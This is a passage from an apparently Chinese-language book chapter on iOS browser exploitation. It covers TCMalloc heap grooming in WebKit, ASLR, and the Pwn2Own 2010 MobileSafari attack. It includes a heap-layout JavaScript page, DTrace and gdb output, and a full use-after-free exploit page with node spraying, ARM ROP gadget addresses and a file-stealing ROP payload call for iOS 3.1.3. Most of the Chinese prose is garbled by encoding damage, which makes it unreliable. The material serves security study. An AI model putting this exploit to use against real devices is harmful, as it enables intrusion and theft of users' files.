ϛᄉᘾѥஜᛪૈ᧪ૈՓၿஈѣᏧଌ҃ᄉЮͮߚᎵௐὈὋ˿ᝌ࣡᜸ᄉڦڠᔴࡂډ௬३ॡࠃၸ˿ǌ 
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ʶᓉᏪᝒὋڙ˝iOSधԦ໣วஈѣርࣿௐὋ̠͂ʶᓉ͗ᤤસ΍ၸMac OS Xʼ32ͮᄉSafariὋ
Ꮺʿ͗΍ၸ64ͮᄉྟఴǌᤇಧʶ౎Ὃˏ˓ྟఴᫍࠪ៵ܷ֖࠴ѫᦠርࣿʼᄉࢿऩ͗௬ᗂђ࠵ǌ 

7.5.3� ේ亢∈˖ҹTCMallocᇍㅫᴃⓣ⋲䖯㸠ᬏߏ 

 ᤴ۶˿ǌ܇Ժ̾ᅋ੣͂ੇڙஅᬶ٧ᄉழय֖᜵΍ၸᄉࠪ៵ՐὋဗڥۇᝌ˿ѫᦠርࣿǋᝎԦ˿ڙ
ੇ͂ᄉ᝟Ѳ௦᭣࣡ኤӬᄉὋኃʶ൥௦ѫᦠᔩ࣯ࠪ៵౎ஞူ۶ǌᤇࣲʿ௦̣˥ܬఽ੾శὋᏪ˄

಩૵धݼ੯ᛠ໣วஈѣௐ۶ᄉ࿃খᄉʿՎὋ੝ᭉࠪ៵ᄉஜᄫ˶Ժᑞ႔థԪӐǌஞူ۶௦᭣࣡᧗᜵

ᄉὋځ˝ᤇಧ੥థԺᑞγ᝼ଋʽ౎ᄉࠪ៵ڙЮߚ˖௦ᤋ፝ѫᦠᄉǌڙ߸੆ࠪ۶ᄉஞူ˧ՐὋᄫಕ

˓ͺὋੇ͂ᯪЎ᜵ѫᦠʶ̎ࠪ៵ὋཨՐඇᬥʶࢹÿǌ˝˿߸੆ᤇʶگþ્ᫍ˧៵ࠪ˖۶ڙ˿੆ࡂ

౦ࠪ۶ᄉஞူᑞϷᮔయᥦಧᡐݟѫᦠ௛ԩஈѣᄉࠪ៵˿ǌݼ᜵धࡂ᧕உʶ˓ࠪ៵ǌᒯ൤Ὃࡂ៵ࠪ

஌ᄉពὋࠑܷ˖۶ڙ੝ᤤસᄉˏ˓ࠪ៵ᫍ͗ࡂդథʶ˓௛ԩஈѣᄉࠪ៵ǌ 
ణՐʶ൥ࡂ௦ᝎԦbugὋ݃Ԩ̼ᆉ੯ᛠాǌ 
ʽ᭦ᄉ̼ᆉൿឬ௙˿ᖌ३ൣᆷ۶࣊ࡌ੝ᭉᄉ᣾ርǌܷࠑԺ̾ѽၸ7.5.2ᓫ˖ፋѢᄉDtraceᑭఴ

ᤜᢍѫᦠৰхὋࣲᰍ᝼ᤇ̎JavaScript̼ᆉԺ̾ൣ࣡ࢹͺὙ 

<html> 
<body onload="start()"> 
<script> 
 
var shui = new Array(10000); 
var gcForce = new Array(30000); //30 000ᆌ޿ፁᅜ݀ةઘऎ๭णକ 

trigger a garbage collection 
var vulnerable = new Array(10); 
 
function allocateObjects() 
{ 
    for(i = 0; i < shui.length; i++) 
         shui[i] = String.fromCharCode(0x8181, 0x8181, 0x8181, 0x8181, 0x8181, 0x8181, 
0x8181, 0x8181, 0x8181, 0x8181, 0x8181, 0x8181, 0x8181, 0x8181, 0x8181, 0x8181, 0x8181, 
0x8181, 0x8181, 0x8181); 
} 
 
function createHoles() 
{ 
    for(i = 0; i < shui.length; i+=2) 
         delete shui[i]; 
} 
 
function forceGC() { 
    for(i = 0; i < gcForce.length; i++) 
        gcForce[i] = String.fromCharCode(0x8282, 0x8282, 0x8282, 0x8282, 
0x8282, 0x8282, 0x8282, 
 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 
0x8282, 0x8282, 
0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 
0x8282, 0x8282, 
0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 
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0x8282, 0x8282, 
0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 0x8282, 
0x8282, 0x8282, 
0x8282, 0x8282, 0x8282, 0x8282, 0x8282); 
} 
 
function allocateVulnerable() { 
    for(i = 0; i < vulnerable.length; i++) 
        vulnerable[i] = document.createElement("div"); 
} 
 
 
 
function start() { 
    alert("Attach here"); 
    allocateObjects(); 
    createHoles(); 
    forceGC(); 
    allocateVulnerable(); 
} 
 
</script> 
 
</body> 
</html> 

௦࠴ᤆᭉ᜵Ꮵᘼʶ̎̂ৰǌᯪЎὋ˿ᝌ௛ԩஈѣᄉࠪ៵ᄉܷࠑКူᝌᤇൿ̼ᆉ˧ґὋܷ߸ڙ

ᒯС᧗᜵ᄉὋܷڙࠑᤇ᧖᜵ူܪᄉ௦ܷߙ60˝࠴ᓫᄉHTML divЊገǌܷࠑԺ̾΍ၸʿՎᄉழก

ᆷࠪ߿៵ᄉܷ࠴Ὑុڙណ٧˖Үখᤜᢍǋ΍ၸԲʶ˓DtraceᑭఴὋ੊௦᤯᣾ڙԥ඼ᎃርࣿ˖ಉᄹ

ࠪ៵ᄉౝᤴѥஜ᭡খᆷ߿ǌ�

;௦੼ҁৌॆᄉழयఢ૰ࠪ៵ǌಉᄹWebKitᄉຸ̼ᆉὋࡂՐὋኃ͇̃̂ৰ࠴३ᅻࠪ៵ᄉܷڙ

 ቿ˘ᄉ̼ᆉὙߙӐݼᄹҁʽ᭦ᤇ̎ѹ͗ࡂ
PassRefPtr<StringImpl> StringImpl::createUninitialized( 
unsigned length, UChar*& data) 
{ 
    if (!length) { 
        data = 0; 
        return empty(); 
    } 
 
 ຕ਍ăڦࡤᅜत໲໯Ԉ༹ࠓ൶ǈᅜඹభStringImpl঳؋࣐ڦٷࠕದᅃ੷ፁݴ //    
    // ኄُْࣷٗۙᆩዐᅎأᅃْܑݴದ 

    if (length > ((std::numeric_limits<unsigned>::max() - sizeof(StringImpl)) 
/\sizeof(UChar))) 
       CRASH(); 
    size_t size = sizeof(StringImpl) + length * sizeof(UChar); 
    StringImpl* string = static_cast<StringImpl*>(fastMalloc(size)); 
 
    data = reinterpret_cast<UChar*>(string + 1); 
    return adoptRef(new (string) StringImpl(length)); 
} 
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ࠓ᣾ԜὋஈѣᏧᑞ߸Кଌ҃ᎀуӜᄉ੝థЮڙǌ࠴௛ଌ҃ѫᦠᄉܷࠓ൤Ὃᄹᡐ౎ஈѣᏧॡځ

ௐὋߙቿ˘ᄉၸၴܪᒯఝܷǌᏪဗڙὋߙቿ˘ࣂፂʿᥦ˥థၸ˿Ὃځ˝෤̣˥௬Ꮺ௛᜸ᄉழกԺ

̾ၸ౎ଌ҃ᎀуӜᄉґ4˓ߙᓫǌࡉክݟ൤ὋѢ̅ఴብᄉᭉ᜵Ὃଋʽ౎ᤆ௦͗΍ၸߙቿ˘Ὃځ˝

ੇ͂ॡࠓ௛இԪ߱͂ᄉܷ࠴Ὃ΍˧໗ᡛ௛ԩஈѣᄉࠪ៵ܷࠪ࠴ᄉ᜵යǌ�

 ቿ˘᫁ऎᄉ᝟ኪழयྱѾ᧗᜵Ὑߙ

size_t size = sizeof(StringImpl) + length * sizeof(UChar); 

ᤇࡂնឃܷࠑᭉ᜵ڙᒬࣁᄉJavaScript̼ᆉ˖உЙܲߙ˓࠵ቿǌSringImplᄉܷ࠴௦20ߙᓫὋ

ᏪUcharᄉ᫁ऎ௦2ߙᓫǌځ൤Ὃ᜵ѫᦠ60ߙᓫᄉஜ૵Ὃࡂᭉ᜵JavaScriptߙቿ˘˖ᄉ20˓ߙቿǌ�

ᒯ൤ὋܷࣂࠑፂϡݝэܫὋԺ̾ᰍ᝼̼ᆉᑞՠൣ࣡ࢹͺ˿Ὃ˶ࡂ௦ឬὋᰍ᝼HTML divЊገ

௦ՠᜁѫᦠҁߙቿ˘˧ᫍǌ 
 ʽᣤѢὙݟᤁᛠᤇൿ̼ᆉὋࣲၸ˧ґଡΘᄉDtraceᑭఴᤜᢍᣤѢὋ३ҁ˖เ᜾٧ڙ

snaggs-MacBook-Air:~ snagg$sudo dtrace -s Documents/Trainings/Mac\ hacking\ 
training/Materials/solutions_day2/9_WebKit/traceReplace.d -p 1498 -o out2 
dtrace: script 'Documents/Trainings/Mac hacking 
training/Materials/solutions_day2/9_WebKit/traceReplace.d' matched 6 probes 
dtrace: 2304 dynamic variable drops 
dtrace: error on enabled probe ID 6 ( 
ID 28816: pid1498:JavaScriptCore:__ZN3WTF8fastFreeEPv:entry): 
invalid address (0x3) in action #3 
^Csnaggs-MacBook-Air:~ snagg$ 
snaggs-MacBook-Air:~ snagg$cat out2 | grep HTMLDiv 
 
WebCore`__ZN7WebCore14HTMLDivElement6createERKNS_13QualifiedNameEPNS 
_8DocumentE+0x1b 
 
WebCore`__ZN7WebCore14HTMLDivElement6createERKNS_13QualifiedNameEPNS 
_8DocumentE+0x1b 
 
WebCore`__ZN7WebCore14HTMLDivElement6createERKNS_13QualifiedNameEPNS 
_8DocumentE+0x1b 
 
WebCore`__ZN7WebCore14HTMLDivElement6createERKNS_13QualifiedNameEPNS 
_8DocumentE+0x1b 
 
WebCore`__ZN7WebCore14HTMLDivElement6createERKNS_13QualifiedNameEPNS 
_8DocumentE+0x1b 
 
WebCore`__ZN7WebCore14HTMLDivElement6createERKNS_13QualifiedNameEPNS 
_8DocumentE+0x1b 
 
WebCore`__ZN7WebCore14HTMLDivElement6createERKNS_13QualifiedNameEPNS 
_8DocumentE+0x1b 
 
WebCore`__ZN7WebCore14HTMLDivElement6createERKNS_13QualifiedNameEPNS 
_8DocumentE+0x1b 
 
WebCore`__ZN7WebCore14HTMLDivElement6createERKNS_13QualifiedNameEPNS 
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_8DocumentE+0x1b 
 
WebCore`__ZN7WebCore14HTMLDivElement6createERKNS_13QualifiedNameEPNS 
_8DocumentE+0x1b 
snaggs-MacBook-Air:~ snagg$cat out2 | grep HTMLDiv | wc -l 
      10 

DtraceᄉᣤѢ˖ੇ͂Ժ̾ᄹҁ10˓௛ԩஈѣᄉࠪ៵ǌઁڙ gdbᬃҪҁᤈርௐὋࡂԺ̾ᰍ᝼ᤇ̎

divࠪ៵ᜁѫᦠҁߙቿ˘˧ᫍǌ̯DtraceᣤѢᄉᤇ10˓௛ԩஈѣᄉࠪ៵˖͉ᤤʶ˓ὋࡂథὙ�

2   8717     __ZN3WTF10fastMallocEm:return Pointer 0x2e5ec00 
 
               JavaScriptCore`__ZN3WTF10fastMallocEm+0x1b2 
 
WebCore`__ZN7WebCore14HTMLDivElement6createERKNS_13QualifiedNameEPNS 
_8DocumentE+0x1b 

ဗࡂڙԺ̾ၸgdb೜ಉЮߚ˿Ὑ�

(gdb) x/40x 0x2e5ec00 
0x2e5ec00:     0xad0d2228   0xad0d24cc   0x00000001   0x00000000 
0x2e5ec10:     0x6d2e8654   0x02f9cb00   0x00000000   0x00000000 
0x2e5ec20:     0x00000000   0x0058003c   0x00000000   0x00000000 
0x2e5ec30:     0x00306ed0   0x00000000   0x00000000   0x00000000 
0x2e5ec40:     0x02e5e480   0x00000014   0x02e5ec54   0x00000000 
0x2e5ec50:     0x00000000   0x81818181   0x81818181   0x81818181 
0x2e5ec60:     0x81818181   0x81818181   0x81818181   0x81818181 
0x2e5ec70:     0x81818181   0x81818181   0x81818181   0x00000010 
0x2e5ec80:     0x00000000   0x00000030   0x00000043   0x00000057 
0x2e5ec90:     0x00000000   0x81818181   0x81818181   0x81818181 
(gdb) x/40x 0x2e5ec00 - 0x40 
0x2e5ebc0:     0x02e5ed00   0x00000014   0x02e5ebd4   0x00000000 
0x2e5ebd0:     0x00000000   0x81818181   0x81818181   0x81818181 
0x2e5ebe0:     0x81818181   0x81818181   0x81818181   0x81818181 
0x2e5ebf0:     0x81818181   0x81818181   0x81818181   0x82828282 
0x2e5ec00:     0xad0d2228   0xad0d24cc   0x00000001   0x00000000 
0x2e5ec10:     0x6d2e8654   0x02f9cb00   0x00000000   0x00000000 
0x2e5ec20:     0x00000000   0x0058003c   0x00000000   0x00000000 
0x2e5ec30:     0x00306ed0   0x00000000   0x00000000   0x00000000 
0x2e5ec40:     0x02e5e480   0x00000014   0x02e5ec54   0x00000000 
0x2e5ec50:     0x00000000   0x81818181   0x81818181   0x81818181 
(gdb) 

ॡ௙௬Ὃڙdivࠪ៵ᄉґ᭦֖Ր᭦ᦏ௦Хథᒬ߿˦Юࠓ὇0x8181Ὀᄉߙቿ˘ǌ�

ᑞܴڙTCMalloc˖᧗зःၸርࣿྱథᄉஜ૵௦ॡ᧗᜵ᄉὋᤇ௦ځ˝ˀڙmagazine mallocርࣿ

൤Ὃ᧗зځϱᄉǌߚ௦ѫधڰӜ۪˖ᄉࠪ៵੝ϡᄉዜͪὋ۶ᄉЊஜ૵ˀՉ˓۶ஜ૵ۋܷࠪ˖

TCMallocᄉᎀуӜʿ͗᧗з۶ᄉЊஜ૵ὋᏪ௦᧗з߱ڙ˧ՐѫᦠᄉᎀуӜǌځ൤ὋᤆਆѽၸᏤݒ

ᡸ౎ᖌԨ̼ᆉ੯ᛠా௦ʿԺᑞ˿ǌ  

7.5.4� ҹTCMallocህᇍ䈵⫳ᄬᳳ䯂乬䖯㸠ⓣ⋲ᬏߏ 

ᑞଌ҃ᄉˏ˓ࠪ៵˧ᫍ˿Ὃ͂ੇڙ᜵உ߿ʿʶࡂ៵య᫇ᮤௐὋ௛ԩஈѣᄉࠪߚ๗Ԣࠪ៵ၶڙ

���Ԛѫմ�INGS॑ࢲ֣��Ћцߓ୍࣍س�



176� � ኃ 7 ብ� ໣วஈѣ 

 

ఝ᧗᜵ᄉ௦ᆷγᑞܴ̾ॡԺ᭤ᄉழयఢ૰ࠪ៵ǌڙᤇሗৰхʽὋஈѣᄉኃʶ൥௦ѫᦠ௛ԩஈѣᄉ

ࠪ៵Ὃଋᅋࡂᭉ᜵੯ᛠᝎԦࠪ៵᧕உᄉᛠ˝ǌ̔ ʶ൥௦ѫᦠᡛܴܲᄉܷ࠴ˀ௛ԩஈѣࠪ៵ʶᒰᄉ

ࠪ៵ὋᆷγԦၶڥۇஅᬶὋˀ൤ՎௐὋ᜵ၸᒬࣁᤤસᄉࠪ៵ఢ૰௛ԩஈѣᄉࠪ៵ǌᒯ൤ὋԵқʽ

ణՐʶ൥᜵߸੆Ὃᥦࡂ௦ᝎԦþ΍ၸÿ࿃খὋ̾ᖌԨ̼ᆉ੯ᛠాǌ 
థʶཁःឞ᧗ཁซ਒Ὑၸ̅ኪశ໣วᄉழก˶Ժ̾ၸ̅ࠪ៵ၶߚయ᫇ᮤǌʿ᣾Ὃڙᤇሗৰх

ʽܷࠑॸᮋྱѾ႐ॶ੝΍ၸࠪ៵ᄉܷ֖࠴੝ѫᦠࠪ៵ᄉஜ᧙ǌФࠃὋڙኃʶ൒ࠪ۶ᤈᛠஞူௐࡂ

ᤈᛠڥۇஅᬶ˿Ὃځ൤˝˿ࠪڙ៵ᜁ᧕உՐвᝎԦڥۇஅᬶ٧Ὃᭉ᜵ஜ᧙ఝܲᄉࠪ៵ǌ 
ॆੇ͂᧕உڙܪ੝ଌ҃ࠪ៵˧ᫍᄉࠪ៵ௐ͗ԦၶՎಧᄉ᫇ᮤὋ᜵ᆷγ௛ԩஈѣᄉࠪ៵ᦏᜁஉ

ᤈþگÿ˖ὋࡂॸᮋвᝎԦʶ൒ڥۇஅᬶǌፋ߿TCMallocᄉፆౝὋᝎԦڥۇஅᬶ٧ᤈᛠ໣วஈѣ

ᄉူਆழयࡂॡ௙ᆷ˿Ὃੇ͂᜵΍ၸˀ௛ԩஈѣᄉࠪ៵ܷ࠴ʿՎᄉࠪ៵ǌ̂ࠃʼὋᤇಧʶ౎Ὃˀ

௛ԩஈѣᄉࠪ៵ࠪःᄉᒬၿѴᛪʿ͗ԦၶܹܷԪӐὋԺ̾ђ࠴໣วஈѣܾ᠋ᄉഏညǌ 

7.6� ᇍ ASLR ⱘᣥ៬ 

iOS 4.3˧ґᦏԺʿၸᏥᘼASLR὇Address Space Layout RandomizationὋڦڠቆᫍ࣊ࡌᬣ఺ӐὈ

ΦᑞधԦROPథ஌ᣑᕲ֖᧪ࠪiOSᄉ໣วஈѣርࣿǌ̂ࠃʼὋᙉཨူڙᝌஈѣᏧଌ҃ᄉஜ૵͗ᜁ

உᎵڙᤈርڦڠቆᫍᄉג˓ͮᎵௐ̮ᭉ᜵࿮฽ὋͭڙROPథ஌ᣑᕲᄉधԦʼ௦ʿᮤ᫇ڙߚᄉὋځ

˝੝థᄉंǋ˞̃ᤈ҃஠͇֖Үখᩖଋ٧ᦏᜁஉᎵڙԺ̾ᮔᅻᄉڦڠǌ 
̯iOS 4.3धݼὋᔰ౦МՂ˝iPhoneलЙ˿߸ஞᄉASLR఺҃ǌ 
iOSʼᄉASLR͗ᬣ఺ଅѴߚϱڙdyld_shared_cache˖ᄉ੝థं὇Үখᩖଋ٧ǋ۶ǋಖὈὋ

 ౦ःၸርࣿஂ૆ˀͮᎵ௃Сᄉ̼ᆉὋᥦ˥˞Ժ੯ᛠ஠͇˶௦Ժ̾ᬣ఺ଅѴᄉǌݟ
ᤇፋஈѣᏧ᝹Ꮅ˿ឰܲᬱᮤὋ˞᜵థˏཁὙʶ௦෤Ҩกڙథ஌ᣑᕲ˖΍ၸROP˿Ὃʶ௦ڙಉ

੼ஈѣᏧଌ҃ᄉஜ૵Ժᑞᄉڦڠௐ᜵ᤈᛠ࿮฽ǌ 
੩᠋ASLRࣲ෤థ̣˥ಕэӐᄉழयǌ۲ఴʼඇሗ໣วஈѣᦏԺᑞథ࡚̅ᒬࣁᄉྱ൳ழกઁ

థၸᄉڦڠ෹᭚ፋஈѣᏧǌ 
comex᝹᝟ᄉSaffron໣วஈѣࡂ᧗ளѽၸຼѢ੩᠋˿ASLRǌڙᤇሗஈѣ˖ὋᎤࠪ࠵౼˓ԟ

ஜ᝟ஜ٧ᄉ೜ಉ΍३ஈѣᏧԺ̯̾̾ʽፆౝͳឳзஜ૵Ὑ 

typedef struct T1_DecoderRec_ 
{ 
  T1_BuilderRec           builder; 
   
  FT_Long                 stack[T1_MAX_CHARSTRINGS_OPERANDS]; 
  FT_Long*                top; 
   
  T1_Decoder_ZoneRec      zones[T1_MAX_SUBRS_CALLS + 1]; 
  T1_Decoder_Zone         zone; 
   
  FT_Service_PsCMaps      psnames; /* ᆩᇀseac */ 

  FT_UInt                 num_glyphs; 
  FT_Byte**               glyph_names; 
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  FT_Int                  lenIV;    /* ጱ૩ۙײᆩాڦևऐ዆*/ 

  FT_UInt                 num_subrs; 
  FT_Byte**               subrs; 
  FT_PtrDist*             subrs_len; /*ጱڦ܈׊زຕፇǄ੗჋ǅ*/ 

   
  FT_Matrix               font_matrix; 
  FT_Vector               font_offset; 
   
  FT_Int                  flex_state; 
  FT_Int                  num_flex_vectors; 
  FT_Vector               flex_vectors[7]; 
   
  PS_Blend                blend;    /*ᆩᇀኧ׼master supportጴ༹ */ 

   
  FT_Render_Mode          hint_mode; 
   
  T1_Decoder_Callback     parse_callback; 
  T1_Decoder_FuncsRec     funcs; 
   
  FT_Long*                buildchar; 
  FT_UInt                 len_buildchar; 
   
  FT_Bool                 seac; 
   
} T1_DecoderRec; 

ཨՐஈѣᏧ͗ឳЙӉહparse_callbackڙЮᄉᔩ࣯ૈ᧪Ὃࣲ ઁ಩૵᤯᣾Ѣቢឳୱͺ˿ᝌᄉ

ৰхౝᤴᄉROPథ஌ᣑᕲߚϱڙbuildchar੆տ˖ǌణՐὋஈѣᏧ͗᧗зparse_callback੆տὋ

ࣲᝎԦࠪ߱ᄉុၸǌᒯ൤Ὃѣ᠋ASLRᄉROPథ஌ᣑᕲࣂፂ੯ᛠ˿ǌ�

ʶᓉᏪᝒὋਆѣ᠋ASLRᏪࣛ౎ᄉॶူ᠆ઝὋ̾Ԣ᤯ၸழกᄉᎤ˫ὋᦏܷܷܘҪ˿ஈѣᏧڙधԦ

Չሗ໣วஈѣርࣿௐઅЙᄉዴҦǌఝ˝᧗᜵ᄉ௦Ὃ᣾Ԝᄉंʿ௦ᬣ఺ଅѴᄉὋځ൤థԺᑞʿၸᤈᛠ

࿮฽Ὃᤇಧౝतథ஌ᣑᕲࡂʿ௦˓᫇ᮤὋͭ ̯iOS 4.3ᡐὋ᜵ਆ੆ҩڠᤈᛠ໣วஈѣࡂॸᮋ੩᠋ASLRǌ 
7.7ᓫѫౡ˿ʶሗʿᭉ᜵ፈ᣾ASLRᄉ᧪ࠪMobileSafariᄉ໣วஈѣርࣿǌ 

7.7� Ḝ՟ⷨお˖Pwn2Own 2010 
ᤇʶᓫ੝ᤈᛠᄉ಴Βᆐቂࡘᇧ˿2010ࣱڙᄉPwn2Ownܷᠾ˖ઈಯᄉ໣วஈѣርࣿǌѢ̅ࠪ

ఴብᝮᤗᔴډᄉᏥᘼὋੇ͂ࣂፂૅ૿˿Ф˖΍ၸᄉథ஌ᣑᕲὋځ˝ఴ˹͗ڙФ̴ብᓫ˖ࠪROPᄉ
ഏএᤈᛠॡڠݝᝌ᧕ǌ 

ѥஜpwn()௦᠆᠉ल࠭ឞ໣วஈѣርࣿᄉǌੇ ͂᜵ϡᄉኃʶ͇̂ࡂ௦ၶ੆JavaScriptѥஜὋၸ߱

౎Ѹतߙቿ˘ஜጷǌᤇ̎ߙቿ˘௦ၸfromCharCode()ѥஜѸतᄉὋᤇಧԺ̾γ᝼੝Ѹतᄉߙቿ˘

థᅋൣᆷᄉܷ࠴὇᜵សጹ˿ᝌWebKit˖ᄉߙቿ˘ࠃဗὋԺ̾ٿ᣾ܿԜԟᏥ᧪ࠪTCMallocଠᤗ໣ว

ஈѣ੾ࢻᄉЮࠓ˖̭ፀ۶᮲පᄉΒߔὈǌඇ˓ߙቿ˘ᦏథᭉ᜵ᜁఢ૰ᄉࠪ៵ᄉܷ࠴὇20˓UCharὋ
ቿ˘ᄉЮߙ˿߿௦4000ὈǌФͷᄉԟஜૈ˖ߔቿ˘ᄉஜ᧙὇ᤇ˓ΒߙᓫὈ֖ᭉ᜵ѫᦠᄉߙ௦40ࡂ˶
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 Ѷ௦͉਒ᄉϘ὇0xCCCCὈǌࠓቿ˘˖ᜈЙ˿ʶ̎໣วஈѣርࣿྱథᄉஜ૵ὋᏪФͷᄉЮߙǌࠓ
໣วఴᢵ௦ၿڙ᧕உ࡚বௐ෤థൣᆷ̯ڠNodeᎀߚ˖Ѻᬓᄉ࡚বࠪ៵लᡐᄉǌpwn()ѥஜᄉ

Фͷᦉѫ᠆᠉ѫᦠᔩ࣯࡚বࠪ៵Ὃࣲڙѫᦠ˧ՐበԀᤉርଌ҃߱͂ǌ 
ᒯ൤Ὃ໣วஈѣርࣿ͗᤯᣾ុၸnodeSpray()ѥஜ὇ᤇ௦ʶधݼၿgetNodeSpray()ၶ੆

ᄉѥஜὈᝎԦڥۇஅᬶ٧ǌᬓ˿ᝎԦڥۇஅᬶ٧̯Ꮺᆷγѫᦠርࣿ᧕உᤇ࡚̎বࠪ៵Ὃੇ͂ᤆ᜵

ၸܷ࠴Ջ᤟ᄉߙቿ˘ఢ૰ᤇ̎ࠪ៵ǌ 
ణՐʶ൥ࡂ௦ၸᭉ᜵੯ᛠᄉshellcode۶࠰ؤὋࣲᝎԦࠪᘾѥஜ὇ఴΒ˖௦focus()ѥஜὈᄉ

ុၸǌᤇಧʶ౎Ὃၸ̅ఢ૰ࠪ៵ᄉߙቿ˘ᄉґ4˓ߙᓫࡂᡐҁ˿ᘾѥஜᛪૈ᧪ᄉͺၸὋࣲ̼࠱ᆉ

੯ᛠᣀሧҁၿஈѣᏧଌ҃ᄉӜ۪ǌ 

<html> 
<body onload="pwn()"> 
<script> 
 
function genNodeSpray3GS (len, count, addy1, addy2, ret1, ret2, c, 
objname) { 
      var evalstr = "function nodeSpray() 
{ for(var i = 0; i < " + count + "; i++) { "; 
 
      evalstr += objname + "[i]" + " = String.fromCharCode("; 
 
      var slide = 0x1c; 
 
      for (var i = 0; i < len; i++) { 
          if (i == 0 ) { 
                 evalstr += addy1; 
          } else if (i == 1 || i == 17) { 
                 evalstr += addy2; 
                 evalstr += addy1 + slide; 
          }else if(i == 18) { 
                evalstr +=ret2; 
          }else if(i == 19) { 
                evalstr += ret1; 
          } else if (i > 1 && i< 4) { 
                evalstr += c; 
          } else { 
                evalstr += 0; 
          } 
          if (i != len-1) { 
                evalstr += ","; 
          } 
    } 
          evalstr += "); }}"; 
 
          return evalstr; 
} 
 
function genNodeSpray (len, count, addy1, addy2, c, objname) { 
      var evalstr = "function nodeSpray() { for 
(var i = 0; i < " + count + "; i++) { "; 
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      evalstr += objname + "[i]" + " = String.fromCharCode("; 
 
      for (var i = 0; i < len; i++) { 
          if (i == 0) { 
                evalstr += addy1; 
          } else if (i == 1) { 
                evalstr += addy2; 
          } else if (i > 1 && i< 4) { 
                evalstr += c; 
          } else { 
                evalstr += 0; 
          } 
          if (i != len-1) { 
                evalstr += ","; 
          } 
      } 
      evalstr += "); }}"; 
 
      return evalstr; 
} 
 
function pwn() 
{ 
      var obj = new Array(4000); 
      var attrs = new Array(100); 
 
      // Safari 4.0.5 (64 bit, both DEBUG & RELEASE) 74 bytes -> 37 UChars 
      // Safari 4.0.5 (32 bit, both DEBUG & RELEASE) 40 bytes -> 20 UChars 
      // MobileSafari/iPhone 3.1.3 40 bytes -> 20 UChars 
      // 0x4a1c000 --> 0 open pages 
      // 0x4d00000 --> 1 open page 
 
      // 3g 0x5000000 
      //eval(genNodeSpray(20, 8000, 0x0000, 0x0500, 52428, "obj")); 
 
      eval(genNodeSpray3GS(20, 4000, 0x0000, 0x0600, 0x328c, 0x23ef, 52428, "obj")); 
 
      // iOS 3.1.3 (2G/3G): 
      // gadget to gain control of SP, located at 0x33b4dc92 (libSystem) 
      // 
      // 33b4dc92         469d        mov             sp, r3 
      // 33b4dc94         bc1c        pop             {r2, r3, r4} 
      // 33b4dc96         4690        mov             r8, r2 
      // 33b4dc98         469a        mov             sl, r3 
      // 33b4dc9a         46a3        mov             fp, r4 
      // 33b4dc9c         bdf0        pop             {r4, r5, r6, r7, pc} 
      // 
      // note that we need to use jumpaddr+1 to enter thumb mode 
      // [for iOS 3.0 (2G/3G) use gadget at 0x31d8e6b4] 
      // 
      // 
      // iOS 3.1.3 3GS: 
      // 
      // gadget to gain control of SP, a bit more involved we can't mov r3 in sp so we 
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do it in two stages: 
      // 
      // 3298d162         6a07        ldr         r7, [r0, #32] 
      // 3298d164     f8d0d028        ldr.w       sp, [r0, #40] 
      // 3298d168         6a40        ldr         r0, [r0, #36] 
      // 3298d16a         4700        bx          r0 
      // 
      // r0 is a pointer to the crafted node. We point r7 to our crafted stack, and 
r0 to 0x328c23ee. 
      // the stack pointer points to something we don't control as the node is 40 bytes 
long. 
      // 
      // 328c23ee     f1a70d00        sub.w       sp, r7, #0      ; 0x0 
      // 328c23f2         bd80        pop         {r7, pc} 
      // 
 
      //3GS 
      var trampoline = "123456789012" + encode_uint32(0x3298d163); 
      //var ropshellcode = vibrate_rop_3_1_3_gs(); 
  
      //we have to skip the first 28 bytes 
      var ropshellcode = stealFile_rop_3_1_3_gs(0x600001c); 
 
      //3G 
      //var trampoline = "123456789012" + encode_uint32(0x33b4dc93); 
      //var ropshellcode = vibrate_rop_3_1_3_g(); 
 
      for(var i = 0; i < attrs.length; i++) { 
           attrs[i] = document.createAttribute('PWN'); 
           attrs[i].nodeValue = 0; 
      } 
 
      // dangling pointers are us. 
      for(var i = 0; i < attrs.length; i++) { 
      // bug trigger (used repeatedly to increase reliability) 
             attrs[i].removeChild(attrs[i].childNodes[0]); 
      } 
 
      nodeSpray(); 
 
      // no pages open: we can spray 10000 strings w/o SIGKILL 
      // 1 page open: we can only spray 8000 strings w/o SIGKILL 
      var retaddrs = new Array(20000); 
 
      for(var i = 0; i < retaddrs.length; i++) { 
           retaddrs[i] = trampoline + ropshellcode; 
      } 
 
      // use after free on WebCore::Node object 
      // overwritten vtable pointer gives us control over PC 
      attrs[50].childNodes[0].focus(); 
} 
</script> 
</body> 
</html> 
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7.8� ⌟䆩෎⸔䆒ᮑ�

धԦ໣วஈѣርࣿᄉ᣾ር˖Ὃॆڙ ੇ͂ᭉ᜵ᆷ߿ణ᤟Ջ΍ၸᄉ฽ណ۲ᆨ᝹ஶௐὋథ̎ڇᬱࡂ

धݼ௬ဗѢ౎ǌ 
ࠪ໣วஈѣርࣿᤈᛠ฽ណௐథ᝴ܲځገᭉ᜵ᏥᘼǌᯪЎὋၸ̅฽ណᄉःၸርࣿ᜵ˀ໣วஈѣ

ርࣿ੝᜵ஈѣᄉःၸርࣿྟఴᄰՎὋ੊ᏧࡉԺᑞଋᤂǌ฽ណࣰԻʼѫᦠርࣿᄉาҮᭉ᜵ࡉ᧙ଋᤂ

ᄽࠃѫᦠርࣿᄉᛪဗǌణՐὋੇ͂ᤆॸᮋ᜵థኤӬᄉҨกܲ൒฽ណ໣วஈѣርࣿǌ 
ʶᓉᏪᝒὋڙᤈᛠधԦௐὋଁଦ᧪ຸ̼ࠪᆉᄉdiff੊᧪ࠪ̃ᤈ҃஠͇ᄉBinDiffᤇಧᄉࢹХ঳

௦ݝᄉὋܷࠑԺ̾ѽၸ߱͂ࠪᄽࠃጆፑˀ฽ណጆፑ˧ᫍᄉࢿѾʶଉቂቤǌ 
ఴብᄉܷܲஜ฽ណ᣾ርᦏ௦ڙMac OS X˖ᤈᛠᄉὋˀ൤ዜͪὋ᤯࣡ੇ͂Ժ̾ѽၸᘾ઱఺੊

